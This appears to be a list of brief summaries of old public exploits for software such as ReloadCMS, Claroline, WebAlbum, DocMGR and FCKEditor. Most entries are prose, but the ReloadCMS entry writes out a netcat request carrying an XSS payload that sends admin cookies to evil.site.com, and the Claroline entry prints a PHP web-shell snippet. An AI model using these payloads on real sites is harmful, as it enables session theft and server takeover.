This exploit demonstrates a buffer overflow vulnerability in the GDivX Zenith Player AviFixer Class in Internet Explorer 6. It sets the EIP register to 'BBBB' and creates a buffer overflow by providing a long string of 'A's followed by the EIP value and additional padding. This exploit was tested on Windows XP SP2.
This vulnerability allows an attacker to include files from local resources, which can lead to arbitrary code execution. The vulnerable code is present in the index.php file of PHPWebSite version 0.10.2 and below. By manipulating the 'hub_dir' parameter in the URL, an attacker can include files from local resources.
ReloadCMS do not properly sanitize User-Agent request header before to store it in stats.dat file. Example of an attack, through netcat: rgod>nc target.host.com 80 GET /path_to_reloadcms/ HTTP/1.0 User-Agent: "><script>window.open("http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL);window.close();</script> Host: target.host.com Connection: Close So, when admin see site statistics through the administration panel, javascript will run Once grab.php script captures admin cookie, the script itself can upload a shell trough filemanager, launch commands and write output to a logfile also, inside cookies, there is admin MD5 password hash
This vulnerability allows an attacker to execute arbitrary commands on the target system. The vulnerability exists in the "scormExport.inc.php" file of Claroline version 1.7.4 and below. By exploiting this vulnerability, an attacker can execute commands with the privileges of the web server. This vulnerability requires the target server to have "register_globals" and "allow_url_fopen" settings enabled. The attacker needs to provide the target server IP/hostname, the path to Claroline, and an arbitrary location with the code to include. Optional parameters such as port and proxy can also be specified. The exploit works by including a remote location that contains malicious code. The remote location should contain either "lib/fileUpload.lib.php/index.html" or "lib/pclzip/pclzip.lib.php/index.html", which should have the following code: if (get_magic_quotes_gpc()){$_GET[cmd]=strisplashes($_GET[cmd]);} error_reporting(0); ini_set("max_execution_time",0); echo "*delim*"; passthru($_GET[cmd]); echo "*delim*"; die;
This exploit allows an attacker to execute arbitrary shell commands on the target server by exploiting a vulnerability in the WebAlbum <= 2.02pl software. The vulnerability occurs due to the lack of sanitization of user input in the 'skin2' cookie parameter. By injecting malicious shell commands into the cookie, an attacker can execute arbitrary commands on the target server. This exploit works when the 'magic_quotes_gpc' setting is turned off. The exploit requires the attacker to have knowledge of the target server's IP/hostname, the path to the WebAlbum installation, and a shell command to execute. Various options are available for specifying a different port or using a proxy.
This is a proof of concept exploit for a remote stack based buffer overflow vulnerability in the HP Photo Creative v 2.x audio.Record.1 ActiveX Control. The vulnerability allows an attacker to execute arbitrary code on a targeted system by sending a specially crafted request to the vulnerable ActiveX control. This exploit has been tested against Windows Vista with Internet Explorer 7.
This exploit allows an attacker to execute remote commands on the target server.
EGS Enterprise Groupware System <=1.0 rc4 is vulnerable to remote commands execution. This exploit works against PHP5. The attacker needs to launch the exploit from Apache, fill in the requested fields, and then execute the commands remotely.
This exploit allows remote attackers to execute arbitrary commands on the vulnerable system running DocMGR version 0.54.2. It works against PHP5 with short_open_tag and register_globals set to On.
This exploit allows an attacker to upload malicious content, including arbitrary PHP code, to a target server through the FCKEditor file manager connector. It relies on the misconfiguration of the PHP connector and the use of an extension not specified in the FCKEditor configuration.
Services By CQR